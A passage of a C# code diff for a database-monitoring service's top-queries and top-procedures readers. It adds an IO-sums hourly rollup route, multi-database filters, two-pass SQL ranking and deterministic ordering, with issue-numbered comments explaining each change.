+            ? coverage.RawOldestOf(rawTable)
+            : null;
+        return TopRankings.ChooseHourlyRoute(ranking, startUtc, ioFloor, rawOldest);
+    }
+
+    /// <summary>The detail columns of <see cref="TopQueriesSql"/> / <see cref="TopQueriesByHostObjectSql"/>, 21
+    /// consecutive fields from <paramref name="first"/>: two timestamps (converted to naive UTC through
+    /// <paramref name="clock"/>), sixteen integer extremes, CLR time, the
+    /// plan generation and the peak CPU rate.</summary>
+    private static TopQueryDetail ReadTopQueryDetail(NpgsqlDataReader reader, int first, ServerClock clock)
+    {
+        DateTime? Time(int i) => DarlingServerClockReader.ToUtc(clock, reader, first + i);
+        long? Long(int i) => reader.IsDBNull(first + i) ? null : Convert.ToInt64(reader.GetValue(first + i), CultureInfo.InvariantCulture);
+        return new TopQueryDetail(
+            Time(0), Time(1),
+            Long(2), Long(3), Long(4), Long(5), Long(6), Long(7), Long(8), Long(9),
+            Long(10), Long(11), Long(12), Long(13), Long(14), Long(15), Long(16), Long(17),
+            Long(18), Long(19),
+            reader.IsDBNull(first + 20) ? null : reader.GetDouble(first + 20));
     }
 
     /// <summary>
@@ -1540,24 +2024,36 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
     /// </summary>
     private static async Task<(List<TopQueryRow> Rows, DateTime? FirstBucket)> GetTopQueriesByCpuHourlyAsync(
         NpgsqlDataSource postgres, RollupCoverage coverage, int serverId, DateTime startUtc, DateTime endUtc,
-        int top, string? databaseName, DateTime? ceiling, CancellationToken cancellationToken)
+        int top, DatabaseFilter databases, DateTime? ceiling, TopRanking ranking, bool io, CancellationToken cancellationToken)
     {
+        /* #5329: the io route names collect.query_stats_io_hourly itself — one relation, no successor, no stitch — and
+           selects the three sums; every other read splices the stitched relation as before and projects typed NULLs. */
         var fromClause = coverage.StitchedRelationSql(
-            TimescaleSupport.QueryStatsHourlyView, "f", startUtc, RollupCoverage.StitchTier.Hourly);
-        var sql = TopQueriesHourlySql
+            io ? TimescaleSupport.QueryStatsIoHourlyView : TimescaleSupport.QueryStatsHourlyView,
+            "f", startUtc, RollupCoverage.StitchTier.Hourly);
+        var sql = TopRankings.Apply(TopQueriesHourlySql, ranking, hourly: true, io: io)
             .Replace(TopQueriesHourlyFromPlaceholder, fromClause, StringComparison.Ordinal)
-            .Replace(CeilingPlaceholder, ceiling is null ? "" : CeilingClause(6), StringComparison.Ordinal);
+            .Replace(TopQueriesHourlyIoSumsPlaceholder, io ? TopRankings.HourlyIoSums : TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
+            .Replace(CeilingPlaceholder, ceiling is null ? "" : CeilingClause(7), StringComparison.Ordinal);
 
-        var firstBucketTask = GetHourlyFirstBucketAsync(postgres, coverage, TimescaleSupport.QueryStatsHourlyView, serverId, startUtc, endUtc, ceiling, cancellationToken);
-        var rows = new List<TopQueryRow>();
+        var firstBucketTask = coverage.GetHourlyFirstBucketAsync(
+            postgres, io ? TimescaleSupport.QueryStatsIoHourlyView : TimescaleSupport.QueryStatsHourlyView,
+            serverId, startUtc, endUtc, ceiling, McpCommandDeadlines.ReadSeconds, cancellationToken);
+        List<TopQueryRow> rows;
         try
         {
-        await using (var command = postgres.CreateCommand(sql))
+        /* #5313: the WAITFOR trim can leave the page short; TopFill asks again with a larger $6 while more
+           candidates exist, under its bound. $6 is the candidate limit, $7 the ceiling when there is one. */
+        rows = await TopFill.RunAsync(top, async candidates =>
         {
+            var page = new List<TopQueryRow>();
+            var candidateCount = 0;
+            await using var command = postgres.CreateCommand(sql);
             command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
             AddWindow(command, serverId, startUtc, endUtc);
             AddInt(command, top);
-            AddNullableText(command, databaseName);
+            AddDatabases(command, databases);
+            AddInt(command, candidates);
             if (ceiling is not null)
             {
                 AddTimestamp(command, ceiling.Value);
@@ -1566,7 +2062,15 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
             await using var reader = await command.ExecuteReaderAsync(cancellationToken);
             while (await reader.ReadAsync(cancellationToken))
             {
-                rows.Add(new TopQueryRow(
+                /* #5329: the page is database, hash, executions, cpu, elapsed, handle, text (0-6), the three io sums (7-9),
+                   page_ord (10), then the candidate count (11). */
+                candidateCount = reader.IsDBNull(11) ? 0 : Convert.ToInt32(reader.GetValue(11), CultureInfo.InvariantCulture);
+                if (reader.IsDBNull(10))
+                {
+                    continue;
+                }
+
+                page.Add(new TopQueryRow(
                     reader.IsDBNull(0) ? "" : reader.GetString(0),
                     reader.IsDBNull(1) ? "" : reader.GetString(1),
                     HostObjectName: null,   /* the rollup has no host_object_name column. */
@@ -1576,7 +2080,11 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
                     TotalExecutions: reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
                     TotalCpuUs: reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
                     TotalElapsedUs: reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
-                    TotalLogicalReads: 0, TotalLogicalWrites: 0, TotalPhysicalReads: 0, TotalRows: 0, TotalSpills: 0,
+                    /* zero on the stitched shape (typed NULLs), the sums on the io route (#5329). */
+                    TotalLogicalReads: reader.IsDBNull(7) ? 0 : reader.GetInt64(7),
+                    TotalLogicalWrites: reader.IsDBNull(9) ? 0 : reader.GetInt64(9),
+                    TotalPhysicalReads: reader.IsDBNull(8) ? 0 : reader.GetInt64(8),
+                    TotalRows: 0, TotalSpills: 0,
                     MinDop: 0, MaxDop: 0,
                     MinCpuUs: 0, MaxCpuUs: 0, MinElapsedUs: 0, MaxElapsedUs: 0,
                     /* null = no raw row still holds this hash's text; the raw tier keeps "" for the same case. */
@@ -1584,7 +2092,9 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
                     DistinctTexts: 0,
                     DistinctQueryHashes: 1));
             }
-        }
+
+            return (page, candidateCount);
+        });
         }
         catch
         {
@@ -1605,6 +2115,39 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
     /// (no v_ view). $1 server_id, $2/$3 window (naive UTC), $4 top.
     /// </summary>
     public const string TopProceduresSql = $"""
+        WITH winners AS MATERIALIZED (
+            /* #5226 pass 1 of 2: rank every group of the window on NARROW columns. The wide row (forty
+               aggregates and the distinct-text count) forces a sort of wide rows when it shares the
+               GROUP BY that ranks, so the ranking runs here without it and pass 2 builds the wide row for the
+               winners only. Everything that decides which groups exist or survive is repeated from the shipped
+               statement unchanged: the window, the database filter and the interval filter, the grouping key,
+               and the HAVING predicate. The rank anchor below is the chosen ranking's sum (the
+               anchor TopRankings.Apply replaces, exactly once), rank_cpu the CPU tie-break. Both sort NULLS LAST
+               (PostgreSQL leads a DESC sort with NULL), and the group key ends the ORDER BY so the order is
+               total: ties no longer fall to plan order. */
+            SELECT
+                database_name AS win_database_name,
+                schema_name AS win_schema_name,
+                object_name AS win_object_name,
+                object_type AS win_object_type,
+                $RANK$ AS rank_metric,
+                SUM(delta_worker_time) AS rank_cpu
+            FROM procedure_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
+            /* #4394: same first-collection exclusion as TopQueriesSql — see its note. */
+            AND   {TimescaleSupport.IntervalHonestSourceFilter}
+            GROUP BY database_name, schema_name, object_name, object_type
+            HAVING SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0
+            ORDER BY rank_metric DESC NULLS LAST, rank_cpu DESC NULLS LAST, win_database_name, win_schema_name, win_object_name, win_object_type
+            LIMIT $4
+        )
+        /* #5226 pass 2 of 2: the wide row for pass 1's winners, over the same window and filters, matched on the
+           full key NULL-safely (any of the four can be NULL; a plain equality would drop that group). The
+           COALESCE equality is only the hashable pre-filter (see TopQueriesSql); IS NOT DISTINCT FROM makes the
+           match exact. This ORDER BY is the page's final order: the same keys as pass 1, group key last. */
         SELECT
             database_name,
             schema_name,
@@ -1622,18 +2165,31 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
             MIN(min_worker_time) AS min_worker_time,
             MAX(max_worker_time) AS max_worker_time,
             MIN(min_elapsed_time) AS min_elapsed_time,
-            MAX(max_elapsed_time) AS max_elapsed_time
+            MAX(max_elapsed_time) AS max_elapsed_time,
+            MAX(last_execution_time) AS last_execution_time,
+            MAX(cached_time) AS cached_time,
+            MIN(min_logical_reads) AS min_logical_reads,
+            MAX(max_logical_reads) AS max_logical_reads,
+            MIN(min_physical_reads) AS min_physical_reads,
+            MAX(max_physical_reads) AS max_physical_reads,
+            MIN(min_logical_writes) AS min_logical_writes,
+            MAX(max_logical_writes) AS max_logical_writes,
+            MIN(min_spills) AS min_spills,
+            MAX(max_spills) AS max_spills
         FROM procedure_stats
+        JOIN winners AS w
+            ON  COALESCE(object_name, '') = COALESCE(w.win_object_name, '')
+            AND database_name IS NOT DISTINCT FROM w.win_database_name
+            AND schema_name IS NOT DISTINCT FROM w.win_schema_name
+            AND object_name IS NOT DISTINCT FROM w.win_object_name
+            AND object_type IS NOT DISTINCT FROM w.win_object_type
         WHERE server_id = $1
         AND   collection_time >= $2
         AND   collection_time <= $3
-        AND   ($5::text IS NULL OR database_name = $5)
-        /* #4394: same first-collection exclusion as TopQueriesSql — see its note. */
+        AND   ($5::text[] IS NULL OR database_name = ANY($5))
         AND   {TimescaleSupport.IntervalHonestSourceFilter}
         GROUP BY database_name, schema_name, object_name, object_type
-        HAVING SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0
-        ORDER BY SUM(delta_worker_time) DESC
-        LIMIT $4
+        ORDER BY MAX(w.rank_metric) DESC NULLS LAST, MAX(w.rank_cpu) DESC NULLS LAST, database_name, schema_name, object_name, object_type
         """;
 
     /// <summary>The FROM-clause placeholder <see cref="TopProceduresHourlySql"/> carries — replaced with
@@ -1642,6 +2198,11 @@ ORDER BY SUM(delta_worker_time) DESC
     /// <see cref="GetTopProceduresByCpuHourlyAsync"/>.</summary>
     public const string TopProceduresHourlyFromPlaceholder = "$FROM$";
 
+    /// <summary>#5329: the placeholder <see cref="TopProceduresHourlySql"/> carries for the three reads/writes sums, the
+    /// twin of <see cref="TopQueriesHourlyIoSumsPlaceholder"/>: <see cref="TopRankings.HourlyIoSums"/> on
+    /// <c>procedure_stats_io_hourly</c>, <see cref="TopRankings.HourlyNoIoSums"/> (typed NULLs) on the stitched shape.</summary>
+    public const string TopProceduresHourlyIoSumsPlaceholder = "$IOSUMS$";
+
     /// <summary>
     /// #4231 stage 3b: the hourly-tier twin of <see cref="TopProceduresSql"/>, over <c>procedure_stats_hourly</c> /
     /// <c>procedure_stats_interval_hourly</c> — routed here ONLY through <see cref="RollupCoverage.StitchedRelationSql"/>
@@ -1655,7 +2216,8 @@ ORDER BY SUM(delta_worker_time) DESC
     /// <see cref="RollupCoverage.StitchedRelationSql"/> returns for this window at call time — never a literal
     /// relation name. $1 server_id, $2/$3 window (naive UTC; $3 is EXCLUSIVE — a bucket is stamped at its
     /// START, so the bucket that begins at $3 lies after the window and is not read), $4 top, $5 database
-    /// filter (NULL = all).
+    /// filter (NULL = all). <c>$IOSUMS$</c> (#5329) is the three reads/writes sums on <c>procedure_stats_io_hourly</c>
+    /// and typed NULLs on the stitched relation.
     /// </summary>
     public const string TopProceduresHourlySql = """
         WITH ranked AS (
@@ -1665,15 +2227,18 @@ WITH ranked AS (
                 object_name,
                 CAST(SUM(execution_count_sum) AS bigint) AS total_executions,
                 CAST(SUM(worker_time_sum) AS bigint) AS total_cpu_us,
-                CAST(SUM(elapsed_time_sum) AS bigint) AS total_elapsed_us
+                CAST(SUM(elapsed_time_sum) AS bigint) AS total_elapsed_us,
+                $IOSUMS$,
+                $RANK$ AS rank_metric,
+                SUM(worker_time_sum) AS rank_cpu
             FROM $FROM$
             WHERE server_id = $1
             AND   bucket >= $2
             AND   bucket < $3$CEIL$
-            AND   ($5::text IS NULL OR database_name = $5)
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, schema_name, object_name
             HAVING (SUM(execution_count_sum) > 0 OR SUM(elapsed_time_sum) > 0)
-            ORDER BY SUM(worker_time_sum) DESC
+            ORDER BY rank_metric DESC NULLS LAST, rank_cpu DESC NULLS LAST, database_name, schema_name, object_name
             LIMIT $4
         )
         SELECT
@@ -1682,9 +2247,12 @@ ORDER BY SUM(worker_time_sum) DESC
             r.object_name,
             r.total_executions,
             r.total_cpu_us,
-            r.total_elapsed_us
+            r.total_elapsed_us,
+            r.total_logical_reads,
+            r.total_physical_reads,
+            r.total_logical_writes
         FROM ranked AS r
-        ORDER BY r.total_cpu_us DESC
+        ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST, r.database_name, r.schema_name, r.object_name
         """;
 
     /// <summary>
@@ -1692,12 +2260,21 @@ ORDER BY r.total_cpu_us DESC
     /// <see cref="RetentionTier.Raw"/> or <see cref="RetentionTier.Hourly"/> (Daily is clamped to Hourly);
     /// the MCP tool's <c>tier_used</c> comes from here.</summary>
     public sealed record TopProceduresReadResult(
-        List<TopProcedureRow> Rows, RetentionTier Tier, DateTime? HourlyFirstBucket = null, DateTime? HourlyCeiling = null);
+        List<TopProcedureRow> Rows, RetentionTier Tier, DateTime? HourlyFirstBucket = null, DateTime? HourlyCeiling = null, bool RawForced = false,
+        string? RetentionNotice = null, bool IoRoute = false);
 
+    public static Task<List<TopProcedureRow>> GetTopProceduresByCpuAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
+        TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default) =>
+        GetTopProceduresByCpuAsync(postgres, serverId, startUtc, endUtc, top, DatabaseFilter.One(databaseName), ranking, cancellationToken);
+
+    /// <summary>#5245: <see cref="GetTopProceduresByCpuAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,TopRanking,CancellationToken)"/>
+    /// over a SET of databases (<see cref="DatabaseFilter.All"/> is every database).</summary>
     public static async Task<List<TopProcedureRow>> GetTopProceduresByCpuAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
+        TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default)
     {
-        var result = await GetTopProceduresByCpuRoutedAsync(postgres, serverId, startUtc, endUtc, top, databaseName, cancellationToken);
+        var result = await GetTopProceduresByCpuRoutedAsync(postgres, serverId, startUtc, endUtc, top, databases, ranking, cancellationToken);
         return result.Rows;
     }
 
@@ -1706,8 +2283,16 @@ public static async Task<List<TopProcedureRow>> GetTopProceduresByCpuAsync(
     /// caller can disclose it. Tier is decided over the LEGACY pair's coverage (<see cref="RollupCoverage.For"/>);
     /// Daily is clamped to Hourly (#4231).
     /// </summary>
+    public static Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
+        TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default) =>
+        GetTopProceduresByCpuRoutedAsync(postgres, serverId, startUtc, endUtc, top, DatabaseFilter.One(databaseName), ranking, cancellationToken);
+
+    /// <summary>#5245: <see cref="GetTopProceduresByCpuRoutedAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,TopRanking,CancellationToken)"/>
+    /// over a SET of databases. The list predicate is in the raw statement and in the hourly one (one pass each).</summary>
     public static async Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
+        TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default)
     {
         var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(postgres, cancellationToken);
         var tier = RetentionTierRouter.Resolve(
@@ -1718,19 +2303,51 @@ public static async Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsy
             tier = RetentionTier.Hourly;
         }
 
+        /* #5329: procedure_stats_hourly keeps no logical reads (#5226), but collect.procedure_stats_io_hourly keeps them
+           beside every column the interval sibling has. The same route table as the queries read
+           (TopRankings.ChooseHourlyRoute): when its floor reaches the window's start EVERY ranking reads it, and the rows
+           carry reads, physical reads and writes; otherwise a reads ranking reads raw, or a partial io rollup that
+           reaches further back than raw does; any other ranking keeps today's stitched route untouched. A store without
+           io, or with it empty, answers a null floor, which never covers. RawForced says a reads ranking was sent to raw. */
+        var rawForced = false;
+        var ioRoute = false;
+        if (tier == RetentionTier.Hourly)
+        {
+            switch (ChooseProceduresHourlyRoute(rollups, coverage, ranking, startUtc))
+            {
+                case HourlyRoute.Io:
+                    ioRoute = true;
+                    break;
+                case HourlyRoute.Raw:
+                    tier = RetentionTier.Raw;
+                    rawForced = true;
+                    break;
+            }
+        }
+
+        /* #5226: the raw route's retention notice for a reads ranking, as on the queries read. Null when the rows come
+           from the io rollup (#5329): its own partial window is disclosed by the hourly effective_start and
+           HourlyWindowEdges.Note instead. */
+        var retentionNotice = ranking != TopRanking.Reads || ioRoute
+            ? null
+            : ComposeStoreAvailability.BuildRetentionNotice("procedure_stats", ComposeRoute.Raw, startUtc, DateTime.UtcNow, rollups, coverage);
+
         if (tier == RetentionTier.Hourly)
         {
-            var ceiling = HourlyEndCeiling(coverage, TimescaleSupport.ProcedureStatsHourlyView, startUtc);
-            var (hourlyRows, firstBucket) = await GetTopProceduresByCpuHourlyAsync(postgres, coverage, serverId, startUtc, endUtc, top, databaseName, ceiling, cancellationToken);
-            return new TopProceduresReadResult(hourlyRows, RetentionTier.Hourly, firstBucket, ceiling);
+            var ceiling = HourlyEndCeiling(coverage, ioRoute ? TimescaleSupport.ProcedureStatsIoHourlyView : TimescaleSupport.ProcedureStatsHourlyView, startUtc);
+            var (hourlyRows, firstBucket) = await GetTopProceduresByCpuHourlyAsync(postgres, coverage, serverId, startUtc, endUtc, top, databases, ceiling, ranking, ioRoute, cancellationToken);
+            return new TopProceduresReadResult(hourlyRows, RetentionTier.Hourly, firstBucket, ceiling, IoRoute: ioRoute);
         }
 
         var rows = new List<TopProcedureRow>();
-        await using var command = postgres.CreateCommand(TopProceduresSql);
+        /* The two detail timestamps are stored on the monitored server's own clock; they are converted to naive
+           UTC per row through the server's clock, as every other server-local column on the MCP surface is. */
+        var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
+        await using var command = postgres.CreateCommand(TopRankings.Apply(TopProceduresSql, ranking, hourly: false));
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         AddWindow(command, serverId, startUtc, endUtc);
         AddInt(command, top);
-        AddNullableText(command, databaseName);
+        AddDatabases(command, databases);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -1751,10 +2368,23 @@ public static async Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsy
                 reader.IsDBNull(13) ? 0 : reader.GetInt64(13),
                 reader.IsDBNull(14) ? 0 : reader.GetInt64(14),
                 reader.IsDBNull(15) ? 0 : reader.GetInt64(15),
-                reader.IsDBNull(16) ? 0 : reader.GetInt64(16)));
+                reader.IsDBNull(16) ? 0 : reader.GetInt64(16),
+                ReadTopProcedureDetail(reader, 17, clock)));
         }
 
-        return new TopProceduresReadResult(rows, RetentionTier.Raw);
+        return new TopProceduresReadResult(rows, RetentionTier.Raw, RawForced: rawForced, RetentionNotice: retentionNotice);
+    }
+
+    /// <summary>The detail columns of <see cref="TopProceduresSql"/>, ten consecutive fields from
+    /// <paramref name="first"/>: two timestamps (converted to naive UTC through <paramref name="clock"/>) and eight
+    /// integer extremes.</summary>
+    private static TopProcedureDetail ReadTopProcedureDetail(NpgsqlDataReader reader, int first, ServerClock clock)
+    {
+        DateTime? Time(int i) => DarlingServerClockReader.ToUtc(clock, reader, first + i);
+        long? Long(int i) => reader.IsDBNull(first + i) ? null : Convert.ToInt64(reader.GetValue(first + i), CultureInfo.InvariantCulture);
+        return new TopProcedureDetail(
+            Time(0), Time(1),
+            Long(2), Long(3), Long(4), Long(5), Long(6), Long(7), Long(8), Long(9));
     }
 
     /// <summary>
@@ -1762,21 +2392,27 @@ public static async Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsy
     /// <see cref="TopProceduresHourlySql"/>'s FROM clause ONLY through <see cref="RollupCoverage.StitchedRelationSql"/>
     /// (the standing gate: a raw-vs-rollup reader never names <c>procedure_stats_interval_hourly</c> or
     /// <c>procedure_stats_hourly</c> directly). Rows carry <c>ObjectType = ""</c>, <c>SqlHandle = ""</c> and
-    /// <c>PlanHandle = ""</c>, zero I/O totals and zero min/max — the rollup has none of those columns, and the MCP
-    /// tool reports them as null with a <c>precision_note</c>. The first-bucket coverage probe runs concurrently
+    /// <c>PlanHandle = ""</c>, zero I/O totals (the sums on the io route, #5329) and zero min/max — the stitched rollup has none of
+    /// those columns, and the MCP tool reports them as null with a <c>precision_note</c>. The first-bucket coverage probe runs concurrently
     /// over the same FROM clause.
     /// </summary>
     private static async Task<(List<TopProcedureRow> Rows, DateTime? FirstBucket)> GetTopProceduresByCpuHourlyAsync(
         NpgsqlDataSource postgres, RollupCoverage coverage, int serverId, DateTime startUtc, DateTime endUtc,
-        int top, string? databaseName, DateTime? ceiling, CancellationToken cancellationToken)
+        int top, DatabaseFilter databases, DateTime? ceiling, TopRanking ranking, bool io, CancellationToken cancellationToken)
     {
+        /* #5329: the io route names collect.procedure_stats_io_hourly itself (one relation, no successor, no stitch) and
+           selects the three sums; every other read splices the stitched relation as before and projects typed NULLs. */
         var fromClause = coverage.StitchedRelationSql(
-            TimescaleSupport.ProcedureStatsHourlyView, "f", startUtc, RollupCoverage.StitchTier.Hourly);
-        var sql = TopProceduresHourlySql
+            io ? TimescaleSupport.ProcedureStatsIoHourlyView : TimescaleSupport.ProcedureStatsHourlyView,
+            "f", startUtc, RollupCoverage.StitchTier.Hourly);
+        var sql = TopRankings.Apply(TopProceduresHourlySql, ranking, hourly: true, io: io)
             .Replace(TopProceduresHourlyFromPlaceholder, fromClause, StringComparison.Ordinal)
+            .Replace(TopProceduresHourlyIoSumsPlaceholder, io ? TopRankings.HourlyIoSums : TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
             .Replace(CeilingPlaceholder, ceiling is null ? "" : CeilingClause(6), StringComparison.Ordinal);
 
-        var firstBucketTask = GetHourlyFirstBucketAsync(postgres, coverage, TimescaleSupport.ProcedureStatsHourlyView, serverId, startUtc, endUtc, ceiling, cancellationToken);
+        var firstBucketTask = coverage.GetHourlyFirstBucketAsync(
+            postgres, io ? TimescaleSupport.ProcedureStatsIoHourlyView : TimescaleSupport.ProcedureStatsHourlyView,
+            serverId, startUtc, endUtc, ceiling, McpCommandDeadlines.ReadSeconds, cancellationToken);
         var rows = new List<TopProcedureRow>();
         try
         {
@@ -1784,7 +2420,7 @@ public static async Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsy
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         AddWindow(command, serverId, startUtc, endUtc);
         AddInt(command, top);
-        AddNullableText(command, databaseName);
+        AddDatabases(command, databases);
         if (ceiling is not null)
         {
             AddTimestamp(command, ceiling.Value);
@@ -1803,7 +2439,11 @@ public static async Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsy
                 TotalExecutions: reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
                 TotalCpuUs: reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
                 TotalElapsedUs: reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
-                TotalLogicalReads: 0, TotalLogicalWrites: 0, TotalPhysicalReads: 0, TotalSpills: 0,
+                /* zero on the stitched shape (typed NULLs), the sums on the io route (#5329). */
+                TotalLogicalReads: reader.IsDBNull(6) ? 0 : reader.GetInt64(6),
+                TotalLogicalWrites: reader.IsDBNull(8) ? 0 : reader.GetInt64(8),
+                TotalPhysicalReads: reader.IsDBNull(7) ? 0 : reader.GetInt64(7),
+                TotalSpills: 0,
                 MinCpuUs: 0, MaxCpuUs: 0, MinElapsedUs: 0, MaxElapsedUs: 0));
         }
         }
@@ -1915,7 +2555,7 @@ FROM query_store_stats
             WHERE server_id = $1
             AND   collection_time >= $2
             AND   collection_time <= $3
-            AND   ($5::text IS NULL OR database_name = $5)
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             /* Filtered HERE, before the ROW_NUMBER, not after it: execution_type_desc is in the partition,
                so dropping the other outcomes first cannot change which row wins any partition, and the window
                sort then sees only the outcome asked for. */
@@ -1942,6 +2582,13 @@ sort then sees only the outcome asked for. */
     /// <see cref="QueryStoreIntervalWide.PurgeEdgeMargin"/> is that bound plus an hour (the argument is in
     /// <see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/>'s summary). A static readonly rather than a const
     /// because the interval literal is derived from that TimeSpan; <c>$$"""</c> keeps <c>$1</c> literal.</para>
+    /// <para><b>The upper bound (#5523).</b> <c>first_execution_time &lt;= $3 + </c>
+    /// <see cref="QueryStoreIntervalWide.FirstExecUpperSlackSql"/> closes the range that
+    /// <c>ix_query_store_interval_wide_server_first_exec</c> scans. The floor alone ran from the window start to now, so
+    /// a window that ended days ago walked every newer row of the server (109,362 blocks a call on a 43-server
+    /// store). The slack is twelve hours. It drops a row only when the monitored server's clock runs more than that ahead of
+    /// the service's, or a collection cycle runs longer than that (<see cref="QueryStoreIntervalWide.FirstExecUpperSlack"/>'s
+    /// summary).</para>
     /// </summary>
     private static readonly string QueryStoreTopTablePrefix = $$"""
         WITH deduped AS (
@@ -1953,7 +2600,8 @@ FROM query_store_interval_wide
             AND   collection_time >= $2
             AND   collection_time <= $3
             AND   first_execution_time >= $2 - {{QueryStoreIntervalWide.PurgeEdgeMarginSql}}
-            AND   ($5::text IS NULL OR database_name = $5)
+            AND   first_execution_time <= $3 + {{QueryStoreIntervalWide.FirstExecUpperSlackSql}}
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             AND   ($6::text IS NULL OR execution_type_desc = $6)
         ),
         """;
@@ -1977,10 +2625,10 @@ FROM query_store_interval_wide
     /// column deduped's dedupe/the table's own upsert already kept" shape, so this aggregates either one
     /// identically. $7 (module_name) lives here, unchanged from the pre-split statement's own position
     /// (<c>QueryStoreSql_AppliesModuleFilterAfterDedupAndBeforeRankingLimit</c> pins it: after <c>WHERE rn = 1</c>,
-    /// before <c>LIMIT $4 + 5</c>) — module_name is not a GROUP BY key here (<c>MAX(module_name)</c> is the
+    /// before <c>LIMIT $8</c>, the round's candidate limit) — module_name is not a GROUP BY key here (<c>MAX(module_name)</c> is the
     /// aggregate), so it has to filter the deduplicated rows before the GROUP BY rather than after it, and
     /// living in the shared suffix means both the raw and the table CTE inherit that same placement.</summary>
-    private const string QueryStoreTopSuffix = """
+    private const string QueryStoreTopRankedHead = """
         ranked AS (
             SELECT
                 database_name,
@@ -2010,9 +2658,18 @@ FROM deduped
             WHERE rn = 1
             AND   ($7::text IS NULL OR module_name = $7)
             GROUP BY database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
-            ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS double precision)) DESC
-            LIMIT $4 + 5
-        )
+            ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS double precision)) DESC, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
+            LIMIT $8
+        ),
+
+        """;
+
+    /// <summary>The outer read from <c>SELECT r.database_name</c> down: the text lateral, the WAITFOR self-exclusion,
+    /// the final <c>ORDER BY</c> and <c>LIMIT $4</c>. It reads only <c>ranked</c>'s column list, so
+    /// <see cref="QueryStoreTopSuffix"/> (the raw and the interval-table reads) and <see cref="QueryStoreTopDailyTableSql"/>
+    /// (the daily-summary read) share this one text and cannot drift apart below <c>ranked</c>.</summary>
+    private const string QueryStoreTopTail = """
+        page AS (
         SELECT
             r.database_name,
             r.query_id,
@@ -2030,7 +2687,8 @@ ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS double precision)) D
             r.avg_rowcount,
             r.last_execution_time,
             t.query_text,
-            r.replica_role
+            r.replica_role,
+            ROW_NUMBER() OVER (ORDER BY r.total_executions * r.avg_duration_ms DESC, r.database_name, r.query_id, r.plan_id, r.query_hash, r.execution_type_desc, r.replica_role) AS page_ord
         FROM ranked AS r
         /* #2150: resolve the text inside the lateral so the projection and the WAITFOR self-exclusion below
            both keep reading one t.query_text. First arm is collect.query_store_text (one row per
@@ -2052,17 +2710,201 @@ FROM query_store_stats AS s
                            WHERE s.server_id = $1
                            AND   s.query_id = r.query_id
                            AND   s.database_name = r.database_name
+                           /* #5420: bounded to the read's own window ($2 through $3, the same bound the fact rows
+                              above were read with). Without it a query with no inline text anywhere walked every
+                              retained chunk of query_store_stats on the time index looking for one. A query whose
+                              only inline text is older than the window now shows none, as a query with no text
+                              at all already did. Twins the other copy of this tail; keep them matching. */
+                           AND   s.collection_time >= $2
+                           AND   s.collection_time <= $3
                            AND   s.query_text IS NOT NULL
-                           ORDER BY s.collection_time DESC
+                           ORDER BY s.collection_time DESC, s.collection_id DESC
                            LIMIT 1
                        )
                    ) AS query_text
         ) AS t ON TRUE
         WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-        ORDER BY r.total_executions * r.avg_duration_ms DESC
+        ORDER BY page_ord
         LIMIT $4
+        )
